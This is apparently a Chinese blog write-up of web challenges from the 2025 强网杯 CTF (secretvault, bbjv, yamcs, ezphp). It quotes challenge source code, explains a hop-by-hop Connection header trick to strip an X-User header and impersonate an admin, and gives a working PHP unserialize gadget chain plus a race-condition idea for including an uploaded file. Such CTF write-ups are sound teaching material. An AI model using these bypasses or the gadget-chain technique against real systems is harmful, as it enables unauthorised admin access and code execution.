Skip to content

25强网杯复现

secretvault

访问是一个登录页面image-20251104215530853

注册后会有session,有jwt

当你注册一个用户成功登录进去后会发现可以添加一些东西,不存在xss

image-20251104215843438

根据给的附件可以知道在原本的flask应用之外还添加了一个Go Authorizer 代理

本身的python源代码是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def login_required(view_func):
@wraps(view_func)
def wrapped(*args, **kwargs):
uid = request.headers.get('X-User', '0')
print(uid)
if uid == 'anonymous':
flash('Please sign in first.', 'warning')
return redirect(url_for('login'))
try:
uid_int = int(uid)
except (TypeError, ValueError):
flash('Invalid session. Please sign in again.', 'warning')
return redirect(url_for('login'))
user = User.query.filter_by(id=uid_int).first()
if not user:
flash('User not found. Please sign in again.', 'warning')
return redirect(url_for('login'))

g.current_user = user
return view_func(*args, **kwargs)

return wrapped
@app.route('/dashboard')
@login_required
def dashboard():
user = g.current_user
entries = [
{
'id': entry.id,
'label': entry.label,
'login': entry.login,
'password': fernet.decrypt(entry.password_encrypted.encode('utf-8')).decode('utf-8'),
'notes': entry.notes,
'created_at': entry.created_at,
}
for entry in user.vault_entries
]
return render_template('dashboard.html', username=user.username, entries=entries)

可以看到装饰器函数会接受请求中的X-User头,如果没有则默认0,而0是代表管理员,可以试着伪造管理员登录

则我们需要发送给flask应用的请求中不存在X-User头

go代理源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
func main() {
authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
req.URL.Scheme = "http"
req.URL.Host = "127.0.0.1:5000"

uid := GetUIDFromRequest(req)
log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
req.Header.Del("Authorization")
req.Header.Del("X-User")
req.Header.Del("X-Forwarded-For")
req.Header.Del("Cookie")

if uid == "" {
req.Header.Set("X-User", "anonymous")
} else {
req.Header.Set("X-User", uid)
}
}}

可以看到这个代理接收从客户端发来的请求后删除了X-User头,并设置成一些特定的值

hop by hop headers有个漏洞,当客户端发送给代理的请求头中设置了Connection: <请求头名>的话代理发送给后端的请求就不会包含这个请求头,关于hop by hop headers攻击详见【技术解读】【WebSec】Abusing HTTP hop-by-hop request headers - wh03ver-momo - 博客园

关键在于这一段

image-20251104222508508

1个包就能得到flag

image-20251104221848101

bbjv

spel表达式注入将user.home这个属性改成/tmp就行没什么好说的,ai秒了

yamcs

image-20251105155610463

一个基础yamcs

image-20251105155652444

这里可以执行Java代码,点上面的trace就能看到flag

ezphp

网页源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php
function generateRandomString($length = 8) {
$characters = 'abcdefghijklmnopqrstuvwxyz';
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$r = rand(0, strlen($characters) - 1);
$randomString .= $characters[$r];
}
return $randomString;
}

date_default_timezone_set('Asia/Shanghai');

class test {
public $readflag;
public $f;
public $key;

public function __construct() {
$this->readflag = new class {
public function __construct() {
if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
$time = date('Hi');//小时+分钟,如1331
$filename = $GLOBALS['filename'];//不知道值是什么,应该是数字
$seed = $time . intval($filename);//$time+十进制转换后的$GLOBALS['filename']
mt_srand($seed);//播种$seed

$uploadDir = 'uploads/';
$files = glob($uploadDir . '*');
foreach ($files as $file) {
if (is_file($file)) unlink($file);
}//清空uploads目录下所有文件

$randomStr = generateRandomString(8);//随机生成8位小写字母字符串
$newFilename = $time . '.' . $randomStr . '.jpg';//新文件名为$time.$randomstr.jpg
$GLOBALS['file'] = $newFilename;

$uploadedFile = $_FILES['file']['tmp_name'];//上传的文件
$uploadPath = $uploadDir . $newFilename;

if (system("cp " . $uploadedFile . " " . $uploadPath)) {
echo "success upload!";
} else {
echo "error";
}
}
}

public function __wakeup() {
phpinfo();
}

public function readflag() {
function readflag() {
if (isset($GLOBALS['file'])) {
$file = $GLOBALS['file'];
$file = basename($file);
if (preg_match('/:\/\//', $file)) die("error");

$file_content = file_get_contents("uploads/" . $file);
if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) {
die("Illegal content detected in the file.");
}
include("uploads/" . $file);
}
}
}
};
}

public function __destruct() {
$func = $this->f;
$GLOBALS['filename'] = $this->readflag;

if ($this->key == 'class') {
new $func();
} else if ($this->key == 'func') {
$func();
} else {
highlight_file('index.php');
}
}
}

$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N';
@unserialize($ser);

捋一下看这代码逻辑

generateRandomString()返回一个随机的小写字母字符串,时区默认为上海

定义了一个类test有三个属性$readflag,$f,$key

这个类有两个函数__construct,__destruct

__construct()为$readflag赋值了一个匿名内部类,这个匿名内部类有三个方法__wakeup,__construct,readflag

这个匿名内部类的__construct干了什么呢?注释写的很清楚了

匿名内部类的readflag()include了上传的文件,但是对文件名和文件内容都有正则匹配,所以初步思路是上传一个恶意php文件。

但是题目中给的文件名后缀是jpg,可能得考虑文件名截断,因为$seed其实是已知的,可以通过工具爆破出generateRandomString()会返回什么(但好像没啥用?没找到能利用的点)

test类的__destruct可以选择new一个类或者调用一个无参函数

而匿名内部类readflag()方法里面又定义了一个全局函数readflag(),但是因为readflag这个全局方法在匿名内部类方法readflag内部,所以必须先执行匿名内部类的readflag()才能有这个全局readflag(),所以应该需要分为三步执行

  1. test#construct

  2. 匿名内部类#readflag()

  3. readflag()

要依次实现这三步可以通过调用三次test#destruct来实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$test1 = new test();
$test2 = new test();
$test3 = new test();
$test1->key = 'func';
$test1->f = "readflag";
$test1->readflag = "0";
$test2->key = 'func';
$test2->f = [&$test1->readflag, 'readflag'];
$test2->readflag = "0";
$test3->key = 'func';
$test3->readflag = "0";
$test3->f = [&$test1, '__construct'];
$a=serialize([$test3, $test2, $test1]);
echo $a;
echo "======prepare to destruct======\n";

$test3#destruct->$test1#construct->$test2#destruct->$test1#readflag->$test1#destruct->readflag()

现在已经能成功readflag进行文件包含了,但如何成功上传恶意文件呢?

通过阅读源码可知在1分钟之内文件名是不变的,且上传文件时会删除uploads目录下所有文件,所以1分钟之内所有线程都是对同一个文件路径进行操作,此时就可以利用时间差进行条件竞争,如果说在某个线程进行file_get_content时另一个线程恰好进行到删除文件但又没到上传文件那一步。就能绕过检测,成功include.

还有另一种做法强网杯 2025 部分web wp - LamentXU - 博客园

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.